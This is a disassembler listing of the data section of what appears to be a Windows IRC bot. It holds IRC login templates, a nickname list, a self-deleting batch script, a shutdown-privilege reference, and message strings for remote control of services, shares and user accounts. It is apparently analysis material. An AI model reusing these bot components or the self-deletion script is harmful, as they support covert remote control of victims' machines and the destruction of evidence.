aLoloA		db 'lolo|a|',0          ; DATA XREF: .data:00438764o
aLol		db 'lol',0              ; DATA XREF: .data:00438760o
aTot_0		db 'tot',0              ; DATA XREF: .data:0043875Co
aMofo		db 'mofo',0             ; DATA XREF: .data:00438758o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .data:00438754o
		align 4
aMuha		db 'muha',0             ; DATA XREF: .data:00438750o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .data:0043874Co
		align 4
aAha		db 'aha',0              ; DATA XREF: .data:00438748o
aShit		db 'shit',0             ; DATA XREF: .data:00438744o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: .data:00438740o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: .data:0043873Co
		align 4
aBoy		db 'BOY',0              ; DATA XREF: .data:00438738o
aFree		db 'Free',0             ; DATA XREF: .data:00438724o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .data:00438720o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .data:00438714o
		align 4
aF_3		db '^^^f^',0            ; DATA XREF: .data:00438708o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: .data:00438704o
aLuvu		db 'LUVU',0             ; DATA XREF: .data:00438700o
		align 4
a___0		db '_|_',0              ; DATA XREF: .data:004386E4o
aBbl		db '|bbl',0             ; DATA XREF: .data:004386D8o
		align 4
off_438838	dd offset loc_425242	; DATA XREF: .data:004386D4o
aMuckc		db 'muckc',0            ; DATA XREF: .data:004386C0o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .data:004386BCo
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .data:004386B8o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .data:004386B4o
		align 4
aUi		db 'ui',0               ; DATA XREF: .data:004386B0o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: .data:004386ACo
aRt		db 'rt',0               ; DATA XREF: .data:004386A8o
		align 4
aGf		db 'gf',0               ; DATA XREF: .data:004386A4o
		align 4
aTy		db 'ty',0               ; DATA XREF: .data:004386A0o
		align 10h
aRg		db 'rg',0               ; DATA XREF: .data:0043869Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: .data:00438698o
		align 4
aRs		db 'rs',0               ; DATA XREF: .data:00438678o
		align 10h
aQ8A		db '|q8|a',0            ; DATA XREF: .data:00438630o
		align 4
aQ8		db 'Q8',0               ; DATA XREF: .data:0043862Co
		align 4
aSick		db 'sick}}',0           ; DATA XREF: .data:00438628o
		align 4
aWiked		db '|wiked|',0          ; DATA XREF: .data:00438624o
aLuvuF		db '||luvu-f|',0        ; DATA XREF: .data:00438620o
		align 4
aGens		db '{gens|',0           ; DATA XREF: .data:0043861Co
		align 10h
aSex_0		db '{sex}',0            ; DATA XREF: .data:00438618o
		align 4
aHub		db '{hub}',0            ; DATA XREF: .data:00438614o
		align 10h
aLuck		db '|luck|',0           ; DATA XREF: .data:00438610o
		align 4
aSuck		db '|suck|',0           ; DATA XREF: .data:0043860Co
		align 10h
aTot		db '-|tot|',0           ; DATA XREF: .data:00438608o
		align 4
aWoh		db '|woh|',0            ; DATA XREF: .data:00438604o
		align 10h
aTambe		db '|tambe|',0          ; DATA XREF: .data:00438600o
aLag		db 'lag',0              ; DATA XREF: .data:004385FCo
aBad		db 'bad',0              ; DATA XREF: .data:004385F8o
aTree		db 'tree',0             ; DATA XREF: .data:004385F4o
		align 4
aZex		db 'zex',0              ; DATA XREF: .data:004385F0o
aLez		db 'lez',0              ; DATA XREF: .data:004385ECo
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: .data:004385E4o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: .data:004385E0o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: .data:004385DCo
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: .data:004385D8o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: .data:004385D4o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: .data:004385D0o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: .data:004385CCo
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: .data:004385C8o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: .data:004385C4o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: .data:004385C0o
aTropikal	db 'tropikal',0         ; DATA XREF: .data:004385BCo
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: .data:004385B8o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: .data:004385B4o
		align 4
aUla		db 'ula',0              ; DATA XREF: .data:004385B0o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: .data:004385ACo
aAkden		db 'akden',0            ; DATA XREF: .data:004385A8o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: .data:004385A4o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: .data:004385A0o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: .data:0043859Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: .data:00438598o
aM41ist		db 'M41IST',0           ; DATA XREF: .data:00438594o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: .data:00438590o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: .data:0043858Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: .data:00438588o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: .data:00438584o
		align 4
aDevre		db 'devre',0            ; DATA XREF: .data:00438580o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: .data:0043857Co
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: .data:00438578o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: .data:00438574o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: .data:00438570o
		align 4
off_438A18	dd offset byte_4B5245	; DATA XREF: .data:0043856Co
aSevda		db 'sevda',0            ; DATA XREF: .data:00438568o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: .data:00438564o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: .data:00438560o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: .data:0043855Co
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: .data:00438558o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: .data:00438554o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: .data:00438550o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: .data:0043854Co
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: .data:00438548o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: .data:00438544o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: .data:00438540o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: .data:0043853Co
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: .data:00438538o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: .data:00438534o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: .data:00438530o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: .data:0043852Co
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: .data:00438528o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: .data:00438524o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: .data:00438520o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: .data:0043851Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: .data:00438518o
aHoly		db 'holy',0             ; DATA XREF: .data:00438514o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: .data:00438510o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: .data:0043850Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: .data:00438508o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: .data:00438504o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: .data:00438500o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: .data:004384FCo
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .data:004384F8o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .data:004384F4o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .data:004384F0o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .data:004384ECo
aArda		db 'arda',0             ; DATA XREF: .data:004384E8o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .data:004384E4o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .data:004384E0o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .data:004384DCo
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: .data:004384D8o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: .data:004384D4o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: .data:004384D0o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: .data:004384CCo
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: .data:004384C8o
		align 4
off_438BAC	dd offset byte_457441	; DATA XREF: .data:004384C4o
aAyla		db 'AYLA-',0            ; DATA XREF: .data:004384C0o
		align 4
aAlbina		db 'albina',0           ; DATA XREF: .data:004384BCo
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: .data:004384B8o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: .data:004384B4o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: .data:004384B0o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: .data:004384ACo
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: .data:004384A8o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: .data:004384A4o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: .data:004384A0o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: .data:0043849Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: .data:00438498o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: .data:00438494o
aAslii		db 'aslii',0            ; DATA XREF: .data:00438490o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: .data:0043848Co
aHaticem	db 'haticem',0          ; DATA XREF: .data:00438488o
aArzu		db 'ARZU',0             ; DATA XREF: .data:00438484o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: .data:00438480o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: .data:0043847Co
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: .data:00438478o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: .data:00438474o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: .data:00438470o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: .data:0043846Co
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: .data:00438468o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: .data:00438464o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: .data:00438460o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: .data:0043845Co
aTolga34	db 'Tolga34',0          ; DATA XREF: .data:00438458o
aMisssunday	db 'misssunday',0       ; DATA XREF: .data:00438454o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: .data:00438450o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: .data:0043844Co
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: .data:00438448o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: .data:00438444o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: .data:00438440o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: .data:0043843Co
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: .data:00438438o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: .data:00438434o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: .data:00438430o
aReshma		db 'reshma',0           ; DATA XREF: .data:0043842Co
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: .data:00438428o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: .data:00438424o
		align 4
aImra		db 'imra',0             ; DATA XREF: .data:00438420o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: .data:0043841Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: .data:00438418o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: .data:00438414o
		align 4
aManee		db 'manee',0            ; DATA XREF: .data:00438410o
		align 4
aTroller	db 'troller',0          ; DATA XREF: .data:0043840Co
aLuisa		db 'Luisa',0            ; DATA XREF: .data:00438408o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: .data:00438404o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: .data:00438400o
		align 4
aJanno		db 'janno',0            ; DATA XREF: .data:004383FCo
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: .data:004383F8o
		align 4
aHeval		db 'heval',0            ; DATA XREF: .data:004383F4o
		align 10h
aCme		db 'cme',0              ; DATA XREF: .data:004383F0o
aMarcy		db 'marcy',0            ; DATA XREF: .data:004383ECo
		align 4
aTalika		db 'talika',0           ; DATA XREF: .data:004383E8o
		align 4
aShez		db 'Shez',0             ; DATA XREF: .data:004383E4o
		align 4
aKen		db 'ken',0              ; DATA XREF: .data:004383E0o
aFlexster	db 'flexster',0         ; DATA XREF: .data:004383DCo
		align 4
aKoko		db 'koko',0             ; DATA XREF: .data:004383D8o
		align 4
aMale		db 'male',0             ; DATA XREF: .data:004383D4o
		align 4
aSwin		db 'swin',0             ; DATA XREF: .data:004383D0o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: .data:004383CCo
aKrizha		db 'KRIZHA',0           ; DATA XREF: .data:004383C8o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: .data:004383C4o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: .data:004383C0o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: .data:004383BCo
aFarooq		db 'farooq',0           ; DATA XREF: .data:004383B8o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: .data:004383B4o
		align 4
aM_1:					; DATA XREF: .data:004383B0o
					; .data:004386FCo
		unicode	0, <M>,0
word_438E18	dw 4Eh			; DATA XREF: sub_419E7A+38r
					; .data:004383ACo
		align 4
dword_438E1C	dd 42h			; DATA XREF: .data:004383A8o
dword_438E20	dd 56h			; DATA XREF: .data:004383A4o
dword_438E24	dd 43h			; DATA XREF: .data:004383A0o
dword_438E28	dd 58h			; DATA XREF: .data:0043839Co
					; .data:00438730o
dword_438E2C	dd 5Ah			; DATA XREF: .data:00438398o
dword_438E30	dd 4Ch			; DATA XREF: .data:00438394o
dword_438E34	dd 4Bh			; DATA XREF: .data:00438390o
dword_438E38	dd 4Ah			; DATA XREF: .data:0043838Co
dword_438E3C	dd 48h			; DATA XREF: .data:00438388o
dword_438E40	dd 47h			; DATA XREF: .data:00438384o
dword_438E44	dd 46h			; DATA XREF: .data:00438380o
					; .data:004386F8o
dword_438E48	dd 44h			; DATA XREF: .data:0043837Co
dword_438E4C	dd 53h			; DATA XREF: .data:00438378o
dword_438E50	dd 50h			; DATA XREF: .data:00438370o
dword_438E54	dd 4Fh			; DATA XREF: .data:0043836Co
dword_438E58	dd 55h			; DATA XREF: .data:00438364o
word_438E5C	dw 59h			; DATA XREF: sub_41A19E+38r
					; .data:00438360o
		align 10h
dword_438E60	dd 54h			; DATA XREF: .data:0043835Co
dword_438E64	dd 52h			; DATA XREF: .data:00438358o
dword_438E68	dd 45h			; DATA XREF: .data:00438354o
dword_438E6C	dd 57h			; DATA XREF: .data:00438350o
dword_438E70	dd 51h			; DATA XREF: .data:0043834Co
dword_438E74	dd 62h			; DATA XREF: .data:00438340o
					; .data:00438634o ...
dword_438E78	dd 78h			; DATA XREF: .data:00438334o
					; .data:0043868Co
dword_438E7C	dd 7Ah			; DATA XREF: .data:00438330o
					; .data:00438694o ...
dword_438E80	dd 68h			; DATA XREF: .data:00438320o
					; .data:0043864Co
dword_438E84	dd 67h			; DATA XREF: .data:0043831Co
					; .data:00438648o ...
dword_438E88	dd 66h			; DATA XREF: .data:00438318o
					; .data:00438644o
dword_438E8C	dd 79h			; DATA XREF: .data:004382FCo
					; .data:00438690o
dword_438E90	dd 77h			; DATA XREF: .data:004382ECo
					; .data:00438688o
; char aNickS_1[]
aNickS_1	db 'NICK %s',0Ah,0      ; DATA XREF: sub_4177D0+B1o
		align 10h
; char a432[]
a432		db '432',0              ; DATA XREF: sub_4177D0+79o
aPongS_0	db 'PONG %s',0Ah,0      ; DATA XREF: sub_4177D0+61o
		align 10h
; char aNickSUserSHotm[]
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BB+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
; char a__1[]
a__1		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADE+BCo
					; sub_417ADE+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
		dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h,	0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; char aSErrorSD_[]
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814D+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418294+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418338+2o
; char aComspecCSS[]
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_41835A+140o
		align 4
; char a[]
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_41835A+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
; char aSdel_bat[]
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_41835A+48o
		align 4
; char asc_43901C[]
asc_43901C	db '-'                  ; DATA XREF: sub_4184E2+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43904C	db  2Dh	; -		; DATA XREF: sub_4184E2+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
; char asc_439074[]
asc_439074	db '-'                  ; DATA XREF: sub_4184E2+5Co
		db 3, 34h, 2
		dd 2676F6Ch, 25202D03h,	6F6C2073h, 6C632067h, 65726165h
		dd 64h
off_439090	dd offset aAdd		; DATA XREF: sub_4186C2+60r
					; sub_418A99+51r ...
					; "Add"
off_439094	dd offset aAdded	; DATA XREF: sub_4186C2+2Dr
					; sub_418A99+83r ...
					; "Added"
dword_439098	dd 0			; DATA XREF: sub_4186C2+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 439104h, 4390FCh,	2, 4390F0h, 4390E4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused_0	db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:004390C4o
aStop_0		db 'Stop',0             ; DATA XREF: .data:004390C0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:004390B8o
aStart_0	db 'Start',0            ; DATA XREF: .data:004390B4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:004390ACo
		align 4
aList_1		db 'List',0             ; DATA XREF: .data:004390A8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:004390A0o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:0043909Co
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_439094o
		align 4
aAdd		db 'Add',0              ; DATA XREF: .data:off_439090o
; char asc_439158[]
asc_439158	db '-'                  ; DATA XREF: sub_4186C2+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_43917C	db  2Dh	; -		; DATA XREF: sub_4186C2+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
; char asc_4391A8[]
asc_4391A8	db '-'                  ; DATA XREF: sub_4186C2+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
; char aAnUnknownError[]
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DE+12Co
		align 4
; char aTheSystemIsShu[]
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DE:loc_4188F6o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DE:loc_4188EFo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DE:loc_4188E8o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DE:loc_4188E1o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DE:loc_4188DAo
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188D3o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DE:loc_4188CCo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DE:loc_4188C5o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DE:loc_4188BEo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DE:loc_4188B7o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DE:loc_41888Co
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DE:loc_418885o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DE:loc_41887Eo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DE:loc_418877o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DE+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DE:loc_41884Co
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DE:loc_418842o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DE:loc_418838o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DE:loc_41882Eo
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DE:loc_418824o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DE+3Co
		align 10h
; char aSSS_2[]
aSSS_2		db '%s: %s (%s)',0      ; DATA XREF: sub_41895C+EBo
; char aStopped[]
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895C:loc_418A28o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895C:loc_418A21o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895C:loc_418A1Ao
aRunning	db '    Running',0      ; DATA XREF: sub_41895C:loc_418A13o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895C:loc_418A0Co
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895C:loc_418A05o
aPaused		db '     Paused',0      ; DATA XREF: sub_41895C:loc_4189FEo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895C+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895C+25o
		align 4
; char asc_4396FC[]
asc_4396FC	db '-'                  ; DATA XREF: sub_418A99+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
; char asc_439720[]
asc_439720	db '-'                  ; DATA XREF: sub_418A99+8Ao
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	68732073h, 3A657261h, 73252720h
		dd 27h
; char asc_43973C[]
asc_43973C	db '-'                  ; DATA XREF: sub_418A99+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8F+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8F+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8F+B5o
; char asc_439788[]
asc_439788	db '-'                  ; DATA XREF: sub_418C8F+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8F+26o
		align 4
; char asc_4397E8[]
asc_4397E8	db '-'                  ; DATA XREF: sub_418DB0+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
; char asc_439810[]
asc_439810	db '-'                  ; DATA XREF: sub_418DB0+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
; char asc_439840[]
asc_439840	db '-'                  ; DATA XREF: sub_418DB0+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
; char asc_439860[]
asc_439860	db '-'                  ; DATA XREF: sub_418EF7+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF7+385o
		align 4
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF7+35Ao
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF7+32Fo
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF7+304o
		align 4
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF7+2D9o
		align 4
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF7+2AEo
		align 4
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF7+283o
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF7+258o
		align 4
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF7+22Do
		align 4
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF7+202o
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF7+1D7o
		align 10h
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF7+1ACo
		align 10h
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF7+181o
		align 4
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF7+156o
		align 4
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF7+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF7:loc_419016o
		align 10h
aUser_3		db 'User',0             ; DATA XREF: sub_418EF7:loc_41900Fo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF7:loc_419008o
		align 4
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF7+DAo
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF7+AFo
		align 4
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF7+84o
		align 4
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF7+50o
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192E0+14Fo
		align 4
; char asc_439A1C[]
